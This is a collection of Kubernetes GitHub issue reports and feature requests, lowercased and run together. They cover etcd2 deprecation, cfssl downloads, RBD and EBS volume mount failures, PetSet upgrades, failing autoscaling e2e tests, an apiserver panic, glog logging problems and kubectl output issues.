in the  kubernetes 1.9 release notes  https://github.com/kubernetes/kubernetes/blob/master/changelog-1.9.md , it was announced that etcd2 support is deprecated and will be removed in \ kubernetes 1.13 or 1.14\ .\r \r unfortunately, not all cluster operators read the release notes in their entirety. let's kick the rhetoric up a notch:\r \r - send out a email to kubernetes-announce explaining the change.\r - add a matrix to the kubernetes documentation with the supported etcd version of each kubernetes version.\r - update the description of the  --storage-backend  flag in kube-apiserver to clearly state that etcd2 support is deprecated and being removed in 1.13.\r - log warning in kube-apiserver logs when using etcd2 that it is deprecated.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r if you don't have cfssl in your  path , then  local-up-cluster  script is downloading it on every execution, instead of downloading it once. it increases the execution time.\r \r   what you expected to happen  :\r \r if you don't have cfssl in  path ,  local-up-cluster.sh  script should download/install it only once and the next execution of script should just use the installed cfssl.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. ensure that you don't have  cfssl \r 2. execute  local-up-cluster.sh  script multiple times and observe that  cfssl  is downloaded every time.\r \r   anything else we need to know?  :\r \r i think that the approach in the following function:\r \r https://github.com/kubernetes/kubernetes/blob/master/hack/lib/util.sh l740-l755\r \r does not work and is too complicated. imo we could just do  go get -u github.com/cloudflare/cfssl/cmd/...  if  cfssl  is not present in  path  and that's all. that script is for developers and it expects to have a working golang environment, so i don't see any point in fetching os-specific binary.\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: doesn't matter\r - os  e.g. from /etc/os-release :doesn't matter\r - kernel  e.g.  uname -a  : doesn't matter\r - install tools: local-up-cluster.sh\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r @kubernetes/sig-testing-feature-requests \r \r   what happened  :\r we are seeing many issues in containerized kubelet environments due to e2es not be automatically run in ci against that environment.\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r csidriver and csinode objects were added  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/storage/types.go l231  and we should add support for these objects in 'kubectl describe'\r \r   why is this needed  :\r provide user-friendly output\r

https://github.com/googlecloudplatform/kubernetes/blob/51750a4680cbb161b068b7748c8d00cacb8a893a/pkg/registry/service/allocator/etcd/etcd.go l149  since resource version increments with every change and e.last will always be the old resource version, this if will trigger every time this runs. this is probably a performance problem. it also masks the fact that  fn    should probably be run no matter what, not conditionally.  @smarterclayton   ref  9444

hello kubernetes,  i am trying to follow the instructions from the  rbd example  https://github.com/kubernetes/kubernetes/tree/master/examples/rbd . after successfully booting a ceph demo cluster   sudo ceph -s  on the host displays  health_ok   and manually creating a  foo  rdb volume formatted in ext4, i cannot start any pod that uses rdb volumes.  the  rdb2  pod never starts, it stays in  containercreating  state, as shown by  kubectl get pod  output below:      name                   ready     status              restarts   age k8s-etcd-127.0.0.1     1/1       running             0          49m k8s-master-127.0.0.1   4/4       running             4          50m k8s-proxy-127.0.0.1    1/1       running             0          49m rbd2                   0/1       containercreating   0          9m      i am using kubernetes 1.2.1 with docker 1.9.1 on ubuntu 14.04 amd64 host using the  single-node docker cluster  http://kubernetes.io/docs/getting-started-guides/docker/ .  the output of  kubectl describe pods rbd2  is the following:      name:       rbd2 namespace:  default node:       127.0.0.1/127.0.0.1 start time: wed, 06 apr 2016 18:38:22 +0200 labels:     <none> status:     pending ip:      controllers:    <none> containers:   rbd-rw:     container id:        image:      nginx     image id:            port:            qos tier:       cpu:      besteffort       memory:       besteffort     state:      waiting       reason:       containercreating     ready:      false     restart count:  0     environment variables: conditions:   type      status   ready     false  volumes:   rbdpd:     type:       rbd  a rados block device mount on the host that shares a pod's lifetime      cephmonitors:    172.17.42.1:6789      rbdimage:       foo     fstype:     ext4     rbdpool:        rbd     radosuser:      admin     keyring:        /etc/ceph/ceph.client.admin.keyring     secretref:      &{ceph-secret}     readonly:       true   default-token-1ze78:     type:   secret  a volume populated by a secret      secretname: default-token-1ze78 events:   firstseen lastseen    count   from            subobjectpath   type        reason      message   --------- --------    -----   ----            -------------   --------    ------      -------   7m        7m      1   {default-scheduler }            normal      scheduled   successfully assigned rbd2 to 127.0.0.1   7m        7s      33  {kubelet 127.0.0.1}         warning     failedmount unable to mount volumes for pod \ rbd2_default fa59e744-fc15-11e5-8533-28d2444cbe8c \ : rbd: failed to modprobe rbd error:exit status 1   7m        7s      33  {kubelet 127.0.0.1}         warning     failedsync  error syncing pod, skipping: rbd: failed to modprobe rbd error:exit status 1      in the kubelet docker log, i can see the following trace, repeated multiple times.      i0406 16:44:56.885150    8236 rbd.go:89  ceph secret info: key/aqcyjqvxjv4geraa1q7y4wi6miuo8uahsqoirg== i0406 16:44:56.887715    8236 nsenter_mount.go:179  failed findmnt command: exit status 1 e0406 16:44:57.889282    8236 disk_manager.go:56  failed to attach disk e0406 16:44:57.889295    8236 rbd.go:208  rbd: failed to setup e0406 16:44:57.889334    8236 kubelet.go:1780  unable to mount volumes for pod \ rbd2_default fa59e744-fc15-11e5-8533-28d2444cbe8c \ : rbd: failed to modprobe rbd error:exit status 1; skipping pod e0406 16:44:57.889340    8236 pod_workers.go:138  error syncing pod fa59e744-fc15-11e5-8533-28d2444cbe8c, skipping: rbd: failed to modprobe rbd error:exit status 1 i0406 16:44:58.884709    8236 nsenter_mount.go:179  failed findmnt command: exit status 1      as i understand the above logs, the  kubelet  container is trying to run something like  modprobe rbd  inside itself  or somewhere else?  and that fails; i noticed that there is no  modprobe  command inside the kubelet container  image: gcr.io/google_containers/hyperkube-amd64:v1.2.1  so i manually ran  apt-get update && apt-get install kmod  to make that command appear inside the container, but without success .  my files look like this:      yaml   secret/ceph-secret.yaml  apiversion: v1 kind: secret metadata:   name: ceph-secret data:   key: qvfdeuprvlhkvjrnrvjbqtfxn3k0v2k2twl1tzhvywhtuw9jcmc9pqo=          yaml   rbd-pod.yaml  apiversion: \ v1\  kind: \ pod\  metadata:    name: \ rbd2\  spec:    containers:      - name: \ rbd-rw\        image: \ nginx\        volumemounts:          - mountpath: \ /var/www/html\            name: \ rbdpd\    volumes:      - name: \ rbdpd\        rbd:          monitors:            - \ 172.17.42.1:6789\          pool: \ rbd\          image: \ foo\          user: \ admin\          secretref:            name: \ ceph-secret\          fstype: \ ext4\          keyring: \ /etc/ceph/ceph.client.admin.keyring\          readonly: true      i have checked that  172.17.42.1:6789  is reachable from the kubernetes cluster  because of using  --net=host  when booting the kubelet container .  how can i mount rbd volumes inside container as of kubernetes 1.2.1?

one should be able to upgrade a petset through the standard kubectl rolling-update syntax. while it's desirable to have a controlled upgrade strategy  eg: deployments , it may not be necessary for beta.   the tricky part is making sure that  pet-v1-0  and  pet-v2-0  come up with the same data. for beta i propose we just make  kubectl rolling-update  on petset update the image and kill pets one by one  as opposed to creating a new petset like a classic rolling-update . if any pet doesn't become ready within a timeout, the rolling-update reverts.   node upgrade: mark node as unschedulable, delete pets one by one, wait till they show up on new node as ready, upgrade node. can we get away with just documenting this  upgrading kubelet on a node shouldn't lead to container restarts anyway ?   @smarterclayton @kubernetes/sig-apps is this enough?  - to improve the upgrade ux we could use 2 new events:  pre-delete  and  pre-update . we can use  terminationgrace  simply to leave the cluster,  pre-delete  to do something drastic like backup all data, and  pre-update  to do something like give-up leadership  but retain data . when a member is removed/rejoined the rest of the cluster should receive  on-change . https://github.com/kubernetes/kubernetes/issues/24957 should help with the events. - to improve master/slave upgrade ux, we need to avoid \ chasing\  the master, i.e by picking the master to upgrade, while the upgrade is happening a new master is elected, the next pod we pick is this new master, and so on.   this might work as follows:  - upgrade all slaves - send  on-upgrade  to master so it gives up mastership, and doesn't compete in re-election - wait for new master - upgrade old master  a leader election service might help here  https://github.com/kubernetes/kubernetes/issues/28658 .  - to improve active-active upgrade ux, the  on-change  sent to all other members needs to exclude the upgrading member by re-writing the config, so writes aren't blocked on its ack. the upgraded member will have to play catchup when it rejoins.  - some databases like cassandra have special roles, like seed provider. these need to be dealt with in a  similar way as leadership transfer  promote new seed, update peers, upgrade existing seed . - to improve node upgrade ux, we could teach  kubectl drain  to move pets off a node slowly. if people are running 1 pet per node  eg: pod anti-affinity , we have less of a problem.

deployment/service manifest:       --- apiversion: extensions/v1beta1 kind: deployment metadata:   name: prometheus spec:   replicas: 1   selector:     matchlabels:       app: prometheus   template:     metadata:       name: prometheus       labels:         app: prometheus     spec:       containers:       - name: prometheus         image: quay.io/coreos/prometheus:0.19.2         args:           - '-storage.local.retention=6h'           - '-storage.local.memory-chunks=500000'           - '-config.file=/etc/prometheus/prometheus.yml'         ports:         - name: web           containerport: 9090         volumemounts:         - name: config-volume           mountpath: /etc/prometheus         - name: data           mountpath: /prometheus       volumes:         - name: config-volume           configmap:             name: prometheus         - name: data           persistentvolumeclaim:             claimname: prometheus-data-pvc  --- kind: persistentvolumeclaim apiversion: v1 metadata:   name: prometheus-data-pvc   annotations:     volume.alpha.kubernetes.io/storage-class: \ ebs\  spec:   accessmodes:     - readwriteonce   resources:     requests:       storage: 10gi      logs from events:      2m         31m         14        prometheus-210570969-bqkbd                   pod                                     warning   failedmount               {kubelet ip-10-66-10-42.eu-west-1.compute.internal}       unable to mount volumes for pod \ prometheus-210570969-bqkbd_default b03d4cc7-49d5-11e6-8d0f-02468703b623 \ : timeout expired waiting for volumes to attach/mount for pod \ prometheus-210570969-bqkbd\ /\ default\ . list of unattached/unmounted volumes= data  2m         31m         14        prometheus-210570969-bqkbd                   pod                                     warning   failedsync                {kubelet ip-10-66-10-42.eu-west-1.compute.internal}       error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ prometheus-210570969-bqkbd\ /\ default\ . list of unattached/unmounted volumes= data       in aws, the volume is attached,  on the box:      core@ip-10-66-10-42 ~ $ ls -ltr /dev/xvdb  brw-rw---- 1 root disk 202, 13312 jul 14 15:15 /dev/xvdba brw-rw---- 1 root disk 202, 13568 jul 14 15:15 /dev/xvdbb      in  /proc/mounts  only one is mounted:      core@ip-10-66-10-42 ~ $ cat /proc/mounts | grep xvdb /dev/xvdbb /var/lib/rkt/pods/run/58129cda-9746-4723-816c-e4fbfee90d3c/stage1/rootfs/opt/stage2/hyperkube/rootfs/var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/eu-west-1a/vol-7c5014ff ext4 rw,seclabel,relatime,data=ordered 0 0 /dev/xvdbb /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/eu-west-1a/vol-7c5014ff ext4 rw,seclabel,relatime,data=ordered 0 0 /dev/xvdbb /var/lib/rkt/pods/run/58129cda-9746-4723-816c-e4fbfee90d3c/stage1/rootfs/opt/stage2/hyperkube/rootfs/var/lib/kubelet/pods/b038c2e6-49d5-11e6-8d0f-02468703b623/volumes/kubernetes.io~aws-ebs/pvc-562db436-49b4-11e6-8d0f-02468703b623 ext4 rw,seclabel,relatime,data=ordered 0 0 /dev/xvdbb /var/lib/kubelet/pods/b038c2e6-49d5-11e6-8d0f-02468703b623/volumes/kubernetes.io~aws-ebs/pvc-562db436-49b4-11e6-8d0f-02468703b623 ext4 rw,seclabel,relatime,data=ordered 0 0      where can i debug this further?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-autoscaling/214/  multiple broken tests:  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pods are pending due to host port conflict  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  33793  35108  35744   failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  34102   failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  33891   failed:  k8s.io  cluster size autoscaling  slow  should add node to the particular mig  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  33754   failed:  k8s.io  cluster size autoscaling  slow  shouldn't increase cluster size if pending pod is too large  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  34581   failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small and there is another node pool that is not autoscaled  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80     issues about this test specifically:  34764   failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:134 expected error:     < errors.errorstring | 0xc420fc4330>: {         s: \ timeout waiting 5m0s for appropriate cluster size\ ,     }     timeout waiting 5m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:132     issues about this test specifically:  34211  previous issues for this suite:  37229

is this a bug report or feature request?  :\r  \r   seems different than issue  49780  \r \r   what happened  :\r \r kube-apiserver crashed randomly...\r \r    \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.351782       1 wrap.go:42  get /apis/extensions/v1beta1/thirdpartyresources:  3.213013ms  200   kube-apiserver/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:39508 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.684847       1 wrap.go:42  get /api/v1/pods:  8.925452ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.705389       1 wrap.go:42  get /api/v1/replicationcontrollers:  2.536395ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.709419       1 wrap.go:42  get /api/v1/services:  3.465677ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.716461       1 wrap.go:42  get /apis/apps/v1beta1/statefulsets:  1.638575ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.719147       1 wrap.go:42  get /apis/autoscaling/v1/horizontalpodautoscalers:  2.145134ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.721666       1 wrap.go:42  get /apis/batch/v1/jobs:  2.050715ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.724633       1 wrap.go:42  get /apis/extensions/v1beta1/deployments:  2.556245ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.727730       1 wrap.go:42  get /apis/extensions/v1beta1/replicasets:  1.90639ms  200   kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : i0729 17:50:33.731469       1 wrap.go:42  get /apis/extensions/v1beta1/networkpolicies:  2.632383ms  200\r    kubectl/v1.7.2  linux/amd64  kubernetes/922a86c  127.0.0.1:58790 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : panic: runtime error: invalid memory address or nil pointer dereference\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x8913dc \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : goroutine 4715006  running :\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.strslicecontains 0x0, 0x1, 0x1, 0x3c1fe50, 0x2, 0x0 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:2004 +0x3c\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.configuretransport 0xc4256c22d0, 0x0, 0x0, 0x3d3e300 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/configure_transport.go:28 +0x136\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.configuretransport 0xc4256c22d0, 0xd, 0x0 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:125 +0x2b\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net.settransportdefaults 0xc4256c22d0, 0xc4256c22d0 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net/http.go:86 +0xb2\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/pkg/probe/http.newwithtlsconfig 0xc4292f8480, 0xc421581e08, 0xc421581e00 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/probe/http/http.go:40 +0x62\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/pkg/registry/core/componentstatus.  server .doservercheck.func1  \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/validator.go:71 +0x3c\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : sync.  once .do 0xc425b3c290, 0xc421581eb8 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/usr/local/go/src/sync/once.go:44 +0xbe\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/pkg/registry/core/componentstatus.  server .doservercheck 0xc425b3c240, 0xc42356ae80, 0xc42001ac00, 0x20003, 0xc421581f9e, 0xc421581f98, 0x0 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/validator.go:72 +0x76\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .getcomponentstatus 0xc420b24220, 0xc424a435e8, 0x6, 0xc425b3c240, 0x432668 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:98 +0x40\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .list.func1 0xc424a43610, 0xc420b24220, 0xc425b3c360, 0xc424a435e8, 0x6, 0xc425b3c240 \r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:62 +0x73\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 : created by k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .list\r jul 29 13:50:33 localhost docker/kube-apiserver 1048 :  011/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:64 +0x164\r    \r \r   what you expected to happen  :\r \r stay up...\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't know at this point, it happened only a few times, on a very lightly loaded test cluster  3 nodes in ha used as both controllers and workers .\r i'll update this issue as more info makes this clearer.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r \r  linux staging-test-001 4.4.0-88-generic  111-ubuntu smp thu jul 20 09:32:39 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r kthw  custom \r \r - others:\r \r    \r gcr.io/google-containers/kube-apiserver-amd64            v1.7.2              4935105a20b1        11 days ago         186mb\r gcr.io/google-containers/kube-proxy-amd64                v1.7.2              13a7af96c7e8        11 days ago         115mb\r gcr.io/google-containers/kube-controller-manager-amd64   v1.7.2              2790e95830f6        11 days ago         138mb\r gcr.io/google-containers/kube-scheduler-amd64            v1.7.2              5db1f9874ae0        11 days ago         77.2mb\r weaveworks/weave-kube                                    2.0.1               d2099d50a03b        4 weeks ago         101mb\r quay.io/coreos/etcd                                      v3.2.4              498ffffcfd05        12 days ago         35.7mb\r    \r \r kube-apiserver.service:\r    \r  unit \r description=kubernetes api server\r documentation=https://github.com/googlecloudplatform/kubernetes\r \r  service \r type=notify\r remainafterexit=yes\r timeoutstartsec=0\r \r   =- means ignore errors:\r execstartpre=-/usr/bin/docker stop kube-apiserver\r execstartpre=-/usr/bin/docker rm kube-apiserver\r   make sure we have the image\r execstartpre=/usr/bin/docker pull gcr.io/google-containers/kube-apiserver-amd64:v1.7.2\r \r execstart=/usr/bin/docker run -d --rm \\\r   -v /var/lib/kubernetes:/var/lib/kubernetes \\\r   -p 6443:6443 \\\r   -p 8080:8080 \\\r   --net=host \\\r   --name kube-apiserver \\\r   gcr.io/google-containers/kube-apiserver-amd64:v1.7.2 \\\r    /usr/local/bin/kube-apiserver \\\r     --admission-control=namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds \\\r     --advertise-address=172.27.19.237 \\\r     --allow-privileged=true \\\r     --apiserver-count=3 \\\r     --audit-log-maxage=30 \\\r     --audit-log-maxbackup=3 \\\r     --audit-log-maxsize=100 \\\r     --audit-log-path=/var/lib/audit.log \\\r     --authorization-mode=rbac \\\r     --bind-address=0.0.0.0 \\\r     --client-ca-file=/var/lib/kubernetes/ca.pem \\\r     --enable-swagger-ui=true \\\r     --etcd-cafile=/var/lib/kubernetes/ca.pem \\\r     --etcd-certfile=/var/lib/kubernetes/kubernetes.pem \\\r     --etcd-keyfile=/var/lib/kubernetes/kubernetes-key.pem \\\r     --etcd-servers=https://172.27.19.237:2379,https://172.27.19.228:2379,https://172.27.19.238:2379 \\\r     --event-ttl=1h \\\r     --experimental-bootstrap-token-auth \\\r     --insecure-bind-address=0.0.0.0 \\\r     --kubelet-certificate-authority=/var/lib/kubernetes/ca.pem \\\r     --kubelet-client-certificate=/var/lib/kubernetes/kubernetes.pem \\\r     --kubelet-client-key=/var/lib/kubernetes/kubernetes-key.pem \\\r     --kubelet-https=true \\\r     --runtime-config=rbac.authorization.k8s.io/v1alpha1 \\\r     --service-account-key-file=/var/lib/kubernetes/ca-key.pem \\\r     --service-cluster-ip-range=10.0.0.0/24 \\\r     --service-node-port-range=30000-32767 \\\r     --tls-cert-file=/var/lib/kubernetes/kubernetes.pem \\\r     --tls-private-key-file=/var/lib/kubernetes/kubernetes-key.pem \\\r     --token-auth-file=/var/lib/kubernetes/token.csv \\\r     --v=2\r \r execstop=/usr/bin/docker stop kube-apiserver\r execstop=/usr/bin/docker rm -f kube-apiserver\r \r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   feature request  :\r \r  \r   what happened  :\r \r kubernetes uses  golang/glog  https://github.com/golang/glog  extensively for logging. while this is reasonable enough for the kubernetes binaries, sizeable parts of the codebase are re-used as client libraries  eg.  k8s.io/client-go  . this presents several problems for users of the libraries:\r \r   glog  registers a bunch of flags in an  init  function  https://github.com/golang/glog/blob/23def4e6c14b4da8ac2ed8007337bc5eb5007998/glog.go l398-l411 , and offers no programmatic way to configure its behaviour. it can be  surprising  https://github.com/heptio/contour/blob/d9e4883d318b0ed5e8fc0592a147f634994ac7f8/cmd/contour/contour.go l40-l45  to users of the k8s libraries that they have to call  flag.parse   , and this is easy to get wrong  eg. coredns/coredns 1597 .\r   glog's default behaviour is to log to a file on disk. a user of a library wouldn't typically expect it to write files without explicitly configuring it to do so.\r   worse, if glog cannot create a file, it  calls  os.exit   https://github.com/golang/glog/blob/23def4e6c14b4da8ac2ed8007337bc5eb5007998/glog.go l691 . this can be very harmful, and since it's common to run containerised binaries with a read-only root filesystem, can be easy to trigger.\r   glog doesn't perform any management of the files it writes, so without something like  logrotate  running  especially problematic in a container  the log files just accumulate.\r \r i think we need to find a way to fix this: the use of glog makes working with the k8s client libraries very difficult. a  recent twitter discussion on this topic  https://twitter.com/peterbourgon/status/972177627996831744  shows this is a widely-held concern.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r running a local cluster   hack/local-up-cluster.sh   from head  daca510a4818e31f8e3678185a4f7af7c9b8319e   both kubectl and server are from head :\r \r    console\r $ kubectl get pods --all-namespaces \r namespace   name                       ready     status    restarts   age\r             kube-dns-ffd85c78c-6frzd   3/3       running   0          5m\r    \r \r   what you expected to happen  :\r \r namespace should be shown like this:\r \r    console\r $ kubectl get pods --all-namespaces \r namespace       name                       ready     status    restarts   age\r kube-system     kube-dns-ffd85c78c-6frzd   3/3       running   0          5m\r    \r \r  \r

